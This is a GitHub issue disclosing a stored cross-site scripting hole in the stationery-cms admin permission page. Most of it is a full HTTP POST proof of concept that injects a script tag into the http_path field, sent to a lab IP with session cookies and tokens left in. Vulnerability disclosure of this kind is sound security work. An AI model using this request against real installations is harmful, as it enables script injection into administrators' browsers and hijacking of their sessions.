Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Background permission management storage xss #10

Open
qbz95aaa opened this issue Jan 8, 2023 · 0 comments
Open

Background permission management storage xss #10

qbz95aaa opened this issue Jan 8, 2023 · 0 comments

Comments

@qbz95aaa
Copy link

qbz95aaa commented Jan 8, 2023

Vulnerability affects product:[stationery-cms]
Vulnerability type:storage xss vulnerability(Cross-site scripting)
Vulnerability Details:
Background permission management storage xss
poc
`
POST /admin/auth/permissions HTTP/1.1
Host: 192.168.3.129:8091
Content-Length: 849
Accept: text/html, /; q=0.01
X-Requested-With: XMLHttpRequest
X-PJAX: true
X-PJAX-Container: #pjax-container
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydDQj3dFW3TBgHzKD
Origin: http://192.168.3.129:8091
Referer: http://192.168.3.129:8091/admin/auth/permissions/create
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cms_ds_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJtYXN0ZXIiLCJpc3MiOiJKUkNtcyIsInN1YiI6IkpSQ21zLURhc2hib2FyZCIsImV4cCI6MTY5ODgxOTIzNn0.IbsTyYy5sJZlBDtgIiOb9G6idpa9b2LkWioRlSMlSEA; .AspNetCore.Antiforgery.WE9Ryc20IQg=CfDJ8HxjCh0oOylDk40Utlg0kuUFWVLtvNW_C4pGl8LD435wIbnnMrZdOHOVRm58Tf9ea-RLT8Cp1rFj-RWlZ5XrTw9-pVKvbqtZLLUaL1326gsyfJyfQ4k6KDwnwVkIpwADhj_KGa_UpcDu8IqL7EsVtWw; .AspNetCore.Session=CfDJ8HxjCh0oOylDk40Utlg0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TR1RjR1VUVzR5bUIzS1ZRdHRnOENoU1lXcXJzODNHV0cxSVwvMkQ4ZHR5TUc1TXV3OEJKVGJ3OWhoaTNaRHQiLCJtYWMiOiIyZmFkOTkxNzExMzczNGRjNzVjYmE5ODc0NWIzMjAwMjkwMzhjZDQ1YTdiMzA1YjUzYjI3N2M3NTdmOTdmY2IxIn0%3D
Connection: close

------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="slug"

testxss
------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="name"

testxss
------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="http_method[]"

GET
------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="http_method[]"

------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="http_path"

testxss<script>alert(1)</script>
------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="_token"

ED1xpWqdNpwzitdl1h6dkpsshUMpYwt7fxtNdVVY
------WebKitFormBoundarydDQj3dFW3TBgHzKD
Content-Disposition: form-data; name="previous"

http://192.168.3.129:8091/admin/auth/permissions
------WebKitFormBoundarydDQj3dFW3TBgHzKD--

`
image
then you can view exploit xss sucess in url
http://192.168.3.129:8091/admin/auth/permissions
image

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant